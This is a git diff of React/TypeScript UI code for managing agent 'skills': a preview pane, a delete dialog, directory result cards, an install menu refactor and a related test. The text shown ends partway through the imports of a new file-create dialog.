+ const key = `${source}::${name}`;
+ const controller = new AbortController();
+ // Cache miss only — a hit already seeded `preview` above (no fetch, no
+ // skeleton). Abort the in-flight fetch on unmount (back / close) so a quick
+ // look-and-leave doesn't leave a server-side read running.
+ if (!previewCache.has(key)) {
+ void fetchSkillPreview({ source, name }, controller.signal).then((res) => {
+ if (controller.signal.aborted) return;
+ if (res.ok) {
+ previewCache.set(key, res);
+ setPreview(res);
+ }
+ setPreviewLoaded(true);
+ });
+ }
+ // Managing / importing / deleting a skill can change what a re-preview should
+ // show, so drop the cache on `skills-changed`.
+ const unsub = subscribeToSkillsChanged(() => previewCache.clear());
+ return () => {
+ controller.abort();
+ unsub();
+ };
+ }, [source, name]);
+
+ useEffect(() => {
+ if (preview) onPreviewMeta?.(preview);
+ }, [preview, onPreviewMeta]);
+
+ const desc = preview?.description;
+ const tags = preview ? parseSkillTags(preview.skillMd) : [];
+ const selected: SelectedFile | null =
+ selectedPath === SKILL_MD
+ ? preview
+ ? { path: `${preview.name} SKILL.md`, content: preview.skillMd, md: true }
+ : null
+ : (() => {
+ const f = preview?.files?.find((x) => x.relPath === selectedPath);
+ if (!f) return null;
+ // Binary files (`content: null`) are shown as a placeholder — a preview
+ // renders text, never raw bytes.
+ return {
+ path: f.relPath,
+ content: f.content ?? t`(binary file, not previewable)`,
+ md: f.content !== null && /\.mdx?$/.test(f.relPath),
+ };
+ })();
+
+ return (
+ <div ref={rootRef} className="relative flex h-full min-h-0 flex-col">
+ {findOpen ? (
+ <ProseFindBar containerRef={scrollRef} onClose={() => setFindOpen(false)} />
+ ) : null}
+ {/* Document-like chrome: a single "this is a preview of X — <action> it"
+ sentence on the left (eye marker + caller-owned prose that bolds the
+ name + level and names the exact next action), and the caller's links /
+ Manage cluster on the right. Shared with the edit-in-place banner via
+ SkillModeBanner. */}
+ <SkillModeBanner
+ icon={<Eye className="size-4" aria-hidden />}
+ actions={headerActions}
+ reserveRightGutter={reserveRightGutter}
+ >
+ {headerLine}
+ </SkillModeBanner>
+
+ {preview ? (
+ // One doc-width scroll: properties, then prose, then the file list — each
+ // block content-aligned to the same column as the editor body so the
+ // whole thing reads like a normal document tab.
+ <div
+ ref={scrollRef}
+ className="editor-doc-scroll min-h-0 flex-1 overflow-auto subtle-scrollbar scroll-fade-mask"
+ >
+ {/* Plugin-bundle disclosure sits between the header and properties, on
+ the SKILL.md view only. */}
+ {selectedPath === SKILL_MD ? banner : null}
+ {/* Properties describe the SKILL, so only above SKILL.md — not above a
+ reference/script the file list navigated to. */}
+ {selectedPath === SKILL_MD ? (
+ <div className="editor-content-aligned pt-6">
+ <div className="space-y-0.5">
+ <PropertyDisplayRow icon={<Type className="size-3.5" />} label={t`name`}>
+ <span className="font-mono">{name}</span>
+ </PropertyDisplayRow>
+ {desc ? (
+ <PropertyDisplayRow
+ icon={<AlignLeft className="size-3.5" />}
+ label={t`description`}
+ >
+ <p className="text-foreground/80">{desc}</p>
+ </PropertyDisplayRow>
+ ) : null}
+ <PropertyDisplayRow icon={<Tag className="size-3.5" />} label={t`tags`}>
+ {tags.length > 0 ? (
+ <div className="flex flex-wrap gap-1">
+ {tags.map((tg) => (
+ <span
+ key={tg}
+ className="rounded bg-muted px-1.5 py-0.5 text-muted-foreground text-xs"
+ >
+ {tg}
+ </span>
+ ))}
+ </div>
+ ) : (
+ <span className="text-muted-foreground">
+ <Trans>Empty</Trans>
+ </span>
+ )}
+ </PropertyDisplayRow>
+ </div>
+ </div>
+ ) : null}
+
+ {selected?.md ? (
+ <SkillMarkdownViewer
+ flow
+ fileName={selected.path}
+ text={selected.content}
+ // Base the relative-link resolution on THIS file's bundle doc so
+ // `references/*` links resolve to sibling docs, not broken content
+ // paths (§8.3). SKILL.md's bundle rel is `SKILL`; a reference is its
+ // own `relPath`.
+ linkBaseDocName={
+ scope
+ ? skillFileLiveDocName(
+ scope,
+ name,
+ selectedPath === SKILL_MD ? 'SKILL' : selectedPath,
+ )
+ : undefined
+ }
+ // The skill identity that makes `references/…` chips clickable, and
+ // the in-place file switch so a click stays in the preview.
+ skillPathLinkDocName={scope ? skillLiveDocName(scope, name) : undefined}
+ onBundlePathClick={onBundlePathClick}
+ />
+ ) : selected ? (
+ // ponytail: scripts render as read-only <pre>, no CodeMirror
+ // highlighting — a preview only needs the bytes legible.
+ <div className="editor-content-aligned">
+ <pre className="overflow-auto whitespace-pre-wrap break-words py-4 font-mono text-xs subtle-scrollbar scroll-fade-mask">
+ {selected.content}
+ </pre>
+ </div>
+ ) : null}
+ </div>
+ ) : !previewLoaded ? (
+ // Doc-width prose skeleton so the server-side shallow clone reads as
+ // "loading this skill", not a blank pane.
+ <div className="editor-doc-scroll min-h-0 flex-1 overflow-auto subtle-scrollbar scroll-fade-mask">
+ <div className="editor-content-aligned pt-6">
+ <div className="space-y-3">
+ <div className="h-6 w-2/3 animate-pulse rounded bg-muted" />
+ {['a', 'b', 'c', 'd', 'e'].map((id) => (
+ <div key={id} className="h-4 w-11/12 animate-pulse rounded bg-muted" />
+ ))}
+ </div>
+ </div>
+ </div>
+ ) : (
+ <div className="flex flex-1 items-center justify-center p-4">
+ {noPreviewFallback ?? (
+ <div
+ className={`flex aspect-[2/1] w-full max-w-xl flex-col justify-end rounded-xl bg-gradient-to-br p-5 ${skillTint(tintKey)}`}
+ aria-hidden
+ >
+ <span className="truncate font-semibold text-2xl text-neutral-900">{name}</span>
+ <span className="truncate text-neutral-900/70 text-sm">{subtitle}</span>
+ </div>
+ )}
+ </div>
+ )}
+ </div>
+ );
+}
+
+/** Best-effort tags from a skill's SKILL.md frontmatter (empty on any parse miss). */
+function parseSkillTags(skillMd: string): string[] {
+ try {
+ const { frontmatter } = stripFrontmatter(skillMd);
+ if (!frontmatter) return [];
+ return extractFrontmatterTags(unwrapFrontmatterFences(frontmatter));
+ } catch {
+ return [];
+ }
+}
diff --git a/packages/app/src/components/SkillDeleteDialog.tsx b/packages/app/src/components/SkillDeleteDialog.tsx
index 063d4731e..7181ec730 100644
--- a/packages/app/src/components/SkillDeleteDialog.tsx
+++ b/packages/app/src/components/SkillDeleteDialog.tsx
@@ -4,6 +4,8 @@ import { useState } from 'react';
import { toast } from 'sonner';
import { DeleteConfirmationDialog } from '@/components/DeleteConfirmationDialog';
import { Dialog } from '@/components/ui/dialog';
+import { useDocumentContext } from '@/editor/DocumentContext';
+import { tabIdsForSkill } from '@/hooks/use-reconcile-skill-tabs';
import { deleteSkill } from '@/lib/skills-api';
interface Props {
@@ -23,9 +25,15 @@ interface Props {
*/
export function SkillDeleteDialog({ skill, onOpenChange, onDeleted }: Props) {
const { t } = useLingui();
+ const { setSkillsSidebar, closeTabs, openTabs } = useDocumentContext();
const [deleting, setDeleting] = useState(false);
async function handleDelete(target: SkillsListEntry) {
+ // Deleting from the Skills sidebar means we're on the Skills surface; pin it
+ // up front so the downstream tab eviction (which clears the active skill
+ // target) can't let autofollow drop us back to Files. Robust across the
+ // project-doc and global managed-artifact deletion paths alike.
+ setSkillsSidebar(true);
setDeleting(true);
const result = await deleteSkill(target.scope, target.name);
setDeleting(false);
@@ -35,6 +43,10 @@ export function SkillDeleteDialog({ skill, onOpenChange, onDeleted }: Props) {
return;
}
toast.success(t`Skill "${target.name}" deleted`);
+ // Evict every tab backed by the deleted copy in one navigation update.
+ // `closeDocument` only removes a plain document tab, so it leaves the
+ // dedicated bundle-file tab IDs behind.
+ closeTabs(tabIdsForSkill(openTabs, target.scope, target.name), { force: true });
onDeleted();
onOpenChange(false);
}
@@ -51,7 +63,14 @@ export function SkillDeleteDialog({ skill, onOpenChange, onDeleted }: Props) {
itemName={t`skill "${skill.name}"`}
isSubmitting={deleting}
onDelete={() => handleDelete(skill)}
- customDescription={t`This permanently removes ${skill.path}. Agents that invoke this skill by name will fail until it's recreated.`}
+ customDescription={
+ // A copy made from a harness plugin: deleting it doesn't touch the
+ // plugin — the read-only original resurfaces as Detected. Saying so
+ // here keeps the reappearing row from reading as a failed delete.
+ skill.origin?.source && /\/plugins\/(?:cache|marketplaces)\//.test(skill.origin.source)
+ ? t`This permanently removes ${skill.path}. The plugin it was copied from is untouched — its read-only version will show up as detected again.`
+ : t`This permanently removes ${skill.path}. Agents that invoke this skill by name will fail until it's recreated.`
+ }
/>
) : null}
</Dialog>
diff --git a/packages/app/src/components/SkillDirectoryCard.tsx b/packages/app/src/components/SkillDirectoryCard.tsx
new file mode 100644
index 000000000..fc158f0ba
--- /dev/null
+++ b/packages/app/src/components/SkillDirectoryCard.tsx
@@ -0,0 +1,59 @@
+import { useLingui } from '@lingui/react/macro';
+import type { ReactNode } from 'react';
+import { Button } from '@/components/ui/button';
+
+/**
+ * Directory-card shell for the Explore (skills.sh search) skill list. The whole
+ * card is a keyboard-accessible "open preview" stretched link. A top row holds
+ * an optional `leading` (avatar/logo), the stacked title + `meta` (name over
+ * publisher · installs), and `action` on the right; `description` spans full
+ * width on its own row below. The hover/focus shell and overlay button live
+ * here so every row renders identically.
+ */
+export function SkillDirectoryCard({
+ name,
+ description,
+ onOpen,
+ action,
+ meta,
+ leading,
+}: {
+ name: string;
+ description?: string | null;
+ onOpen: () => void;
+ action: ReactNode;
+ meta: ReactNode;
+ leading?: ReactNode;
+}) {
+ const { t } = useLingui();
+ const title = <div className="truncate font-medium text-sm">{name}</div>;
+ return (
+ <li className="relative rounded-xl border border-border bg-card p-4 transition-colors hover:border-border/60 hover:bg-accent/40 focus-within:ring-2 focus-within:ring-ring">
+ {/* Stretched-link overlay covers the whole card (keyboard-accessible,
+ semantic — an li can't be interactive). It's positioned, so it paints
+ above the static rows below and catches clicks anywhere; the `action`
+ re-establishes its own stacking (relative z-10) to stay clickable. */}
+ <Button
+ variant="ghost"
+ aria-label={t`View ${name}`}
+ onClick={onOpen}
+ className="absolute inset-0 h-auto w-full rounded-xl p-0 opacity-0"
+ />
+ <div className="flex flex-col gap-2">
+ <div className="flex items-center gap-3">
+ {leading ? <div className="shrink-0">{leading}</div> : null}
+ <div className="min-w-0 flex-1">
+ {title}
+ {meta}
+ </div>
+ <div className="relative z-10 shrink-0">{action}</div>
+ </div>
+ {description ? (
+ <p className="line-clamp-2 text-muted-foreground text-xs leading-relaxed">
+ {description}
+ </p>
+ ) : null}
+ </div>
+ </li>
+ );
+}
diff --git a/packages/app/src/components/SkillDirectoryResult.tsx b/packages/app/src/components/SkillDirectoryResult.tsx
new file mode 100644
index 000000000..6a3d10791
--- /dev/null
+++ b/packages/app/src/components/SkillDirectoryResult.tsx
@@ -0,0 +1,98 @@
+import type { SkillSearchResult, SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { Check, Package } from 'lucide-react';
+import { useState } from 'react';
+import { SkillDirectoryCard } from '@/components/SkillDirectoryCard';
+import { Badge } from '@/components/ui/badge';
+import { formatInstalls } from '@/lib/format-installs';
+
+// The `publisher` is a GitHub owner login, so `github.com/<login>.png` yields its
+// avatar with no API call. Rendered as the card's leading logo; decorative
+// (`alt=""`) since the publisher name renders as text alongside it. Falls back to
+// a neutral tile when there's no login or the image 404s (deleted org, non-GitHub
+// source), so the row never shows a broken-image glyph.
+function PublisherAvatar({ login }: { login: string | null }) {
+ const [ok, setOk] = useState(true);
+ if (login && ok) {
+ return (
+ <img
+ src={`https://github.com/${encodeURIComponent(login)}.png?size=96`}
+ alt=""
+ loading="lazy"
+ className="size-10 rounded border border-border bg-background object-cover"
+ onError={() => setOk(false)}
+ />
+ );
+ }
+ return (
+ <div className="flex size-10 items-center justify-center rounded border border-border bg-muted text-muted-foreground">
+ <Package className="size-5" aria-hidden />
+ </div>
+ );
+}
+
+/**
+ * One skills.sh directory row, shared by every surface that lists discovery
+ * results — the Explore modal's search + popular grids and the Skills home's
+ * popular grid — so a card reads identically wherever it appears.
+ *
+ * Row layout: the publisher's avatar leads, then a `name` + `publisher · ↓
+ * installs` column, then — only once a skill is already in OK — an "Added" badge.
+ * The whole card is a stretched link into the preview, which is the single
+ * per-card action and where Install lives (no inline `+`).
+ */
+export function SkillDirectoryResult({
+ result,
+ imported,
+ onOpen,
+}: {
+ readonly result: SkillSearchResult;
+ /** The already-imported project skill for this result, or null. Drives the
+ * "Added" badge; resolving it is the caller's job (`useSkillDirectory`). */
+ readonly imported: SkillsListEntry | null;
+ readonly onOpen: () => void;
+}) {
+ const { i18n } = useLingui();
+ return (
+ <SkillDirectoryCard
+ name={result.name}
+ description={result.description}
+ onOpen={onOpen}
+ leading={<PublisherAvatar login={result.publisher} />}
+ action={
+ imported ? (
+ <Badge variant="primary" className="gap-1">
+ <Check aria-hidden />
+ <Trans>Added</Trans>
+ </Badge>
+ ) : null
+ }
+ meta={
+ <div className="mt-0.5 flex items-center gap-1.5 text-muted-foreground text-xs">
+ <span className="truncate">{result.publisher ?? result.source}</span>
+ {/* First-party mark: a publisher-field fact — never a capability
+ claim, just who publishes. */}
+ {result.publisher === 'openknowledge' || result.publisher === 'inkeep' ? (
+ <Badge variant="secondary" className="h-4 px-1 text-[10px] uppercase tracking-wide">
+ <Trans>By OpenKnowledge</Trans>
+ </Badge>
+ ) : null}
+ {result.installs != null ? (
+ <>
+ <span aria-hidden>·</span>
+ {/* The arrow is decoration — a screen reader announcing "down arrow
+ 2.7M" conveys nothing — so hide it and name the number instead. */}
+ <span className="shrink-0">
+ <span aria-hidden="true">↓ </span>
+ <span className="sr-only">
+ <Trans>installs:</Trans>{' '}
+ </span>
+ {formatInstalls(result.installs, i18n.locale)}
+ </span>
+ </>
+ ) : null}
+ </div>
+ }
+ />
+ );
+}
diff --git a/packages/app/src/components/SkillEditBanner.tsx b/packages/app/src/components/SkillEditBanner.tsx
new file mode 100644
index 000000000..a2cfc548f
--- /dev/null
+++ b/packages/app/src/components/SkillEditBanner.tsx
@@ -0,0 +1,23 @@
+import { Trans } from '@lingui/react/macro';
+import { SquarePen } from 'lucide-react';
+import { SkillModeBanner } from '@/components/SkillModeBanner';
+import { skillDisplayName } from '@/lib/skill-scope';
+
+/**
+ * The edit-in-place banner for a detected skill buffer (`__extskill__/…`) —
+ * the editable counterpart of the read-only preview banner, sharing
+ * {@link SkillModeBanner}. States plainly that edits save to the editor's own
+ * copy. `name` is the skill (not the open file), so the banner is identical
+ * whether the open doc is the SKILL.md or one of its reference files. No
+ * manage/move flow — the skill stays where it lives.
+ */
+export function SkillEditBanner({ name }: { name: string }) {
+ const boldName = (
+ <strong className="font-medium text-foreground">{skillDisplayName(name)}</strong>
+ );
+ return (
+ <SkillModeBanner icon={<SquarePen className="size-4" aria-hidden />}>
+ <Trans>Editing {boldName} in place. Changes save straight to your editor's copy.</Trans>
+ </SkillModeBanner>
+ );
+}
diff --git a/packages/app/src/components/SkillEditorActions.dom.test.tsx b/packages/app/src/components/SkillEditorActions.dom.test.tsx
index 02722e71e..02940b4ac 100644
--- a/packages/app/src/components/SkillEditorActions.dom.test.tsx
+++ b/packages/app/src/components/SkillEditorActions.dom.test.tsx
@@ -4,13 +4,16 @@
* host overlay on failure; without that, a failed write leaves the pill stuck on
* the wrong Installed/Draft state for the rest of the session (the server keeps
* reporting the old hosts, which never match the attempted overlay, so the
- * convergence effect never clears it). Here we fail an uninstall and assert the
- * pill reverts from the optimistic "Draft" back to server-truth "Installed".
+ * convergence effect never clears it). Here we fail the set-exact install fired
+ * by unchecking the last editor row (the uninstall path since the dedicated
+ * "Uninstall everywhere" item was removed) and assert the pill reverts from the
+ * optimistic "Draft" back to server-truth "Installed".
*/
import { render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { describe, expect, test, vi } from 'vitest';
+import { TooltipProvider } from '@/components/ui/tooltip';
import * as linguiShim from '../../tests/lingui-macro-shim';
vi.doMock('@lingui/react/macro', () => linguiShim);
@@ -26,6 +29,7 @@ const installedEntry = {
const uninstall = vi.fn(async () => ({ ok: false as const, error: 'boom' }));
const install = vi.fn(async () => ({ ok: false as const, error: 'boom' }));
+const requestFileCreate = vi.fn();
vi.doMock('@/hooks/use-skills', () => ({
useSkills: () => ({ status: 'ready', data: [installedEntry] }),
@@ -38,6 +42,7 @@ vi.doMock('@/components/skill-actions', () => ({
duplicate: async () => {},
requestDelete: () => {},
requestRename: () => {},
+ requestFileCreate,
dialogs: null,
}),
}));
@@ -45,17 +50,19 @@ vi.doMock('@/components/skill-actions', () => ({
const { SkillEditorActions } = await import('./SkillEditorActions');
describe('SkillEditorActions — optimistic rollback', () => {
- test('reverts the pill to Installed when uninstall fails', async () => {
+ test('reverts the pill to Installed when the uncheck-everything install fails', async () => {
const user = userEvent.setup();
- render(<SkillEditorActions scope="project" name="foo" />);
+ render(<SkillEditorActions scope="project" name="foo" />, { wrapper: TooltipProvider });
const trigger = screen.getByTestId('skill-install-menu-trigger');
expect(trigger.getAttribute('data-state')).toBe('installed');
await user.click(trigger);
- await user.click(await screen.findByTestId('skill-uninstall'));
+ // Uncheck the only installed editor — set-exact to [] is the uninstall path.
+ await user.click(await screen.findByTestId('skill-install-editor-claude'));
- await waitFor(() => expect(uninstall).toHaveBeenCalledTimes(1));
+ // The commit is debounced (~350ms) before the install call fires and fails.
+ await waitFor(() => expect(install).toHaveBeenCalledTimes(1), { timeout: 3000 });
// Rolled back to server truth — not stuck on the optimistic Draft overlay.
await waitFor(() =>
expect(screen.getByTestId('skill-install-menu-trigger').getAttribute('data-state')).toBe(
@@ -64,3 +71,21 @@ describe('SkillEditorActions — optimistic rollback', () => {
);
});
});
+
+describe('SkillEditorActions — new-file affordance (PRD-7429)', () => {
+ test('the toolbar exposes a New file button that opens create-file for this skill', async () => {
+ const user = userEvent.setup();
+ requestFileCreate.mockClear();
+ render(<SkillEditorActions scope="project" name="foo" />, { wrapper: TooltipProvider });
+
+ const button = screen.getByTestId('skill-editor-new-file');
+ expect(button.getAttribute('aria-label')).toMatch(/new file/i);
+ await user.click(button);
+
+ // Routes through the same action the sidebar uses (opens SkillFileCreateDialog
+ // — full bundle-path field, so references/ + nested subfolders are reachable),
+ // targeting the resolved skill entry.
+ expect(requestFileCreate).toHaveBeenCalledTimes(1);
+ expect(requestFileCreate.mock.calls[0][0]).toMatchObject({ scope: 'project', name: 'foo' });
+ });
+});
diff --git a/packages/app/src/components/SkillEditorActions.tsx b/packages/app/src/components/SkillEditorActions.tsx
index a436b7402..c9cde7864 100644
--- a/packages/app/src/components/SkillEditorActions.tsx
+++ b/packages/app/src/components/SkillEditorActions.tsx
@@ -1,20 +1,22 @@
-import type { SkillScope, SkillsListEntry, SkillTargetEditor } from '@inkeep/open-knowledge-core';
-import { EDITOR_LABELS, SkillTargetEditorSchema } from '@inkeep/open-knowledge-core';
-import { Trans } from '@lingui/react/macro';
-import { ChevronDown } from 'lucide-react';
-import { useEffect, useRef, useState } from 'react';
+import type { SkillScope, SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ChevronDown, FilePlus } from 'lucide-react';
+import { useState } from 'react';
+import { AgentIconCluster } from '@/components/AgentIconCluster';
+import {
+ SKILL_INSTALL_MENU_WIDTH,
+ SkillInstallMenuItems,
+ useSkillHostToggles,
+} from '@/components/SkillInstallMenu';
import { useSkillActions } from '@/components/skill-actions';
import { Button } from '@/components/ui/button';
import {
DropdownMenu,
- DropdownMenuCheckboxItem,
DropdownMenuContent,
- DropdownMenuItem,
- DropdownMenuLabel,
- DropdownMenuSeparator,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu';
import { useSkills } from '@/hooks/use-skills';
+import { skillClusterHosts } from '@/lib/skill-scope';
import { cn } from '@/lib/utils';
/**
@@ -24,8 +26,10 @@ import { cn } from '@/lib/utils';
* documents); this is the only skill-specific affordance, since only skills are
* installed into editor skill folders.
*
- * One consolidated control — a non-interactive **status pill** (Installed/Draft)
- * plus a single **install menu** with a per-editor checkbox each (Claude /
+ * One consolidated control — the trigger shows the **brand icons of the agents
+ * the skill is installed in** (or an **Install** label when it's in none; no
+ * "Draft"/"Installed" text, per the Jul 17 decision) and opens a single
+ * **install menu** with a per-editor checkbox each (Claude /
* Cursor / Codex), Install-on-all, and Uninstall. Collapsing the old Install /
* Reinstall / Uninstall button row into
* this menu keeps the right-aligned toolbar cluster narrow so it no longer
@@ -33,19 +37,13 @@ import { cn } from '@/lib/utils';
* symlink, so editing the source is already reflected everywhere.
*
* Install/uninstall route through the shared
- * `useSkillActions` hook — the same flow the sidebar + Settings rows use. The
+ * `useSkillActions` hook — the same flow the sidebar Skills rows use. The
* skills list refetches via the skills-changed event after a write, so the pill
* + per-editor checkmarks reflect the new on-disk state without local mirroring.
*/
-// The editors a project skill can install into — sourced from the canonical
-// `SkillTargetEditorSchema` (its `.options` are narrowed to the project-skill
-// editor ids), so this menu can never drift from the install verb + picker +
-// schema. `PROJECT_SKILL_EDITOR_IDS` itself is runtime-correct but typed as the
-// wider `EditorId[]` (filter doesn't narrow); `.options` is the narrowed source.
-const INSTALL_EDITORS: readonly SkillTargetEditor[] = SkillTargetEditorSchema.options;
-
export function SkillEditorActions({ scope, name }: { scope: SkillScope; name: string }) {
+ const { t } = useLingui();
const skillsState = useSkills();
const actions = useSkillActions();
@@ -63,141 +61,96 @@ export function SkillEditorActions({ scope, name }: { scope: SkillScope; name: s
installed: false,
hosts: [],
};
- const installing = actions.installingName === name;
-
- // Optimistic host overlay so RAPID per-editor toggles compose correctly. Each
- // checkbox click must build on the LATEST intended set, not the last server
- // refetch (which lags a click or two behind) — otherwise unchecking 3 editors
- // fast computes every click off the original full set and never reaches empty.
- // `liveHostsRef` is updated SYNCHRONOUSLY so consecutive clicks (before React
- // re-renders) still see the prior toggle. The actual install is DEBOUNCED so N
- // quick clicks become ONE set-exact write, avoiding concurrent installs racing
- // on the marker file.
- const [optimisticHosts, setOptimisticHosts] = useState<string[] | null>(null);
- const effectiveHosts = optimisticHosts ?? skill.hosts;
- const hostSet = new Set(effectiveHosts);
- const installed = optimisticHosts ? optimisticHosts.length > 0 : skill.installed;
-
- const liveHostsRef = useRef<string[]>(skill.hosts);
- // Re-sync the ref to server truth whenever the overlay is cleared (the
- // debounced write settled, or an external change arrived).
- useEffect(() => {
- if (optimisticHosts === null) liveHostsRef.current = skill.hosts;
- }, [optimisticHosts, skill.hosts]);
-
- // Drop the overlay once the server's fetched hosts catch up to it.
- const serverHostsKey = [...skill.hosts].sort().join(',');
- useEffect(() => {
- setOptimisticHosts((prev) =>
- prev && [...prev].sort().join(',') === serverHostsKey ? null : prev,
- );
- }, [serverHostsKey]);
-
- const installTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
- useEffect(
- () => () => {
- if (installTimer.current) clearTimeout(installTimer.current);
- },
- [],
- );
- function commitHosts(nextHosts: string[], debounce: boolean) {
- liveHostsRef.current = nextHosts;
- setOptimisticHosts(nextHosts);
- if (installTimer.current) clearTimeout(installTimer.current);
- // On failure the server state is unchanged, but the optimistic overlay still
- // shows the attempted set and the convergence effect never clears it (the
- // refetch returns the OLD hosts, which never match the overlay) — the pill
- // would stay stuck on the wrong state for the session. Roll back to server
- // truth by dropping the overlay; the resync effect restores `liveHostsRef`.
- const run = async () => {
- const result = await actions.install(skill, nextHosts);
- if (!result.ok) setOptimisticHosts(null);
- };
- if (debounce) {
- installTimer.current = setTimeout(() => void run(), 350);
- } else {
- void run();
- }
- }
-
- function toggleEditor(editor: SkillTargetEditor, on: boolean) {
- const next = new Set<string>(liveHostsRef.current);
- if (on) next.add(editor);
- else next.delete(editor);
- commitHosts([...next], true);
- }
+ // Per-editor install state machine, shared with the sidebar three-dot menu.
+ const [menuOpen, setMenuOpen] = useState(false);
+ const toggles = useSkillHostToggles(skill, actions);
+ const { installed, installing, hostSet } = toggles;
+ // No entry yet means the state is UNKNOWN, not "not installed". The list is
+ // served from cache, so it reads `ready` while still missing an entry the
+ // moment its identity changes — switching a skill between Project and Global
+ // used to flash the yellow not-installed pill before the refetch landed.
+ //
+ // This pill only ever renders for an OPEN skill, and an open skill exists —
+ // at minimum at its own source folder — so "not installed" is not a state it
+ // can legitimately be in. Unknown resolves to the neutral pill instead.
+ const resolving = entry === undefined && !installed;
+ // Stable schema order (not Set insertion order); `SkillTargetEditor`-typed so
+ // it feeds `TargetIcon` without a cast.
+ // Hosts to badge: install-target editors plus the `.agents` hub (a real host
+ // for in-place skills; rendered as a neutral mark by AgentIconCluster).
+ // Alias-covered VIEWERS (an editor whose skills folder is a symlink into a
+ // root that holds this skill) ride the cluster with their brand icon — they
+ // genuinely read the skill even though no row/location is theirs.
+ // Shared with the sidebar row so the two surfaces cannot disagree; `hostSet`
+ // carries this surface's optimistic overlay.
+ const installedEditors = entry ? skillClusterHosts(entry, [...hostSet]) : [];
return (
- <div className="flex items-center gap-1.5">
- <DropdownMenu>
+ <div className="flex min-w-0 items-center gap-1.5">
+ {/* Add a reference / script / subfolder to the open skill without hunting
+ for the sidebar right-click. The shared dialog seeds
+ `references/` and mkdirs any nested folders on write. */}
+ <Button
+ variant="outline"
+ size="icon-sm"
+ className="shrink-0 text-muted-foreground"
+ onClick={() => actions.requestFileCreate(skill)}
+ title={t`New file in this skill`}
+ aria-label={t`New file in this skill`}
+ data-testid="skill-editor-new-file"
+ >
+ <FilePlus className="size-4" aria-hidden />
+ </Button>
+ {/* Controlled so a convert can close it: the rows read from a disk scan
+ that refetches while folders are being rewritten, so a menu left open
+ shows a half-converted state settling. It also cannot be reopened
+ mid-run — the trigger is disabled while `installing`. */}
+ <DropdownMenu open={menuOpen} onOpenChange={setMenuOpen}>
<DropdownMenuTrigger asChild>
- {/* Status + install menu in ONE pill-shaped button: the label IS the
- state (Installed/Draft) and the chevron opens the install/uninstall/
- per-editor menu. Mirrors the `primary`/`warning` Badge styling so it
- still reads as the state pill, just interactive. */}
+ {/* Status pill + install menu in one button: the label is the state,
+ the chevron opens the menu. */}
<Button
variant="outline"
size="sm"
disabled={installing}
data-testid="skill-install-menu-trigger"
- data-state={installed ? 'installed' : 'draft'}
+ data-state={resolving ? 'resolving' : 'installed'}
className={cn(
- 'h-6 gap-1 rounded-sm border px-1.5 font-mono text-xs uppercase shadow-none',
- installed
- ? 'border-primary/50 bg-primary/5 text-primary hover:bg-primary/10 hover:text-primary'
- : 'border-yellow-500/40 bg-yellow-500/10 text-yellow-600 hover:bg-yellow-500/20 hover:text-yellow-600',
+ // `aria-expanded:` classes pin the open state to the hover tint; the
+ // outline variant otherwise flips it to neutral `bg-muted` on open.
+ 'h-7 shrink-0 gap-1 rounded-lg border px-2 font-normal text-xs shadow-xs font-mono uppercase',
+ resolving
+ ? 'border-border bg-muted/50 text-muted-foreground'
+ : 'border-primary/50 bg-primary/5 text-primary hover:bg-primary/10 hover:text-primary aria-expanded:bg-primary/10 aria-expanded:text-primary',
)}
>
{installing ? (
<Trans>Working</Trans>
- ) : installed ? (
- <Trans>Installed</Trans>
+ ) : resolving ? (
+ <Trans>Checking</Trans>
) : (
- <Trans>Draft</Trans>
+ // The word keeps the pill indicative as a status, then the
+ // brand-icon cluster (shared `AgentIconCluster` — real brand colors,
+ // same cap/overflow as the sidebar) shows WHICH agents it's
+ // projected into.
+ <>
+ <Trans>Installed</Trans>
+ {/* Neutral base so monochrome brands (OpenCode/Pi) don't inherit
+ the pill's primary/blue text color; colored TargetIcons
+ override it with their own brand color. */}
+ <AgentIconCluster hosts={installedEditors} className="text-muted-foreground" />
+ </>
)}
- <ChevronDown aria-hidden />
+ <ChevronDown className="size-4 shrink-0 opacity-50" aria-hidden />
</Button>
</DropdownMenuTrigger>
- <DropdownMenuContent align="end" className="min-w-52">
- <DropdownMenuLabel>
- <Trans>Install on</Trans>
- </DropdownMenuLabel>
- {INSTALL_EDITORS.map((editor) => (
- <DropdownMenuCheckboxItem
- key={editor}
- checked={hostSet.has(editor)}
- onCheckedChange={(on) => toggleEditor(editor, on === true)}
- data-testid={`skill-install-editor-${editor}`}
- >
- {EDITOR_LABELS[editor]}
- </DropdownMenuCheckboxItem>
- ))}
- <DropdownMenuSeparator />
- <DropdownMenuItem
- data-testid="skill-install-all"
- onSelect={() => commitHosts([...INSTALL_EDITORS], false)}
- >
- <Trans>Install on all</Trans>
- </DropdownMenuItem>
- {installed ? (
- <DropdownMenuItem
- data-testid="skill-uninstall"
- onSelect={() => {
- if (installTimer.current) clearTimeout(installTimer.current);
- liveHostsRef.current = [];
- setOptimisticHosts([]);
- // Roll back the optimistic "Draft" overlay on failure — without
- // this it would stick (server still reports the old hosts, which
- // never match the empty overlay, so it never converges).
- void (async () => {
- const result = await actions.uninstall(skill);
- if (!result.ok) setOptimisticHosts(null);
- })();
- }}
- >
- <Trans>Uninstall everywhere</Trans>
- </DropdownMenuItem>
- ) : null}
+ <DropdownMenuContent align="end" className={SKILL_INSTALL_MENU_WIDTH}>
+ <SkillInstallMenuItems
+ toggles={toggles}
+ skill={skill}
+ onResolveFork={(editor) => actions.requestForkResolve(skill, editor)}
+ onRunStart={() => setMenuOpen(false)}
+ />
</DropdownMenuContent>
</DropdownMenu>
{actions.dialogs}
diff --git a/packages/app/src/components/SkillFileCreateDialog.tsx b/packages/app/src/components/SkillFileCreateDialog.tsx
new file mode 100644
index 000000000..7b96c9a9a
--- /dev/null
+++ b/packages/app/src/components/SkillFileCreateDialog.tsx
@@ -0,0 +1,152 @@
+import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { useEffect, useId, useState } from 'react';
+import { toast } from 'sonner';
+import { Button } from '@/components/ui/button';
+import {
+ Dialog,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { Input } from '@/components/ui/input';
+import { Label } from '@/components/ui/label';
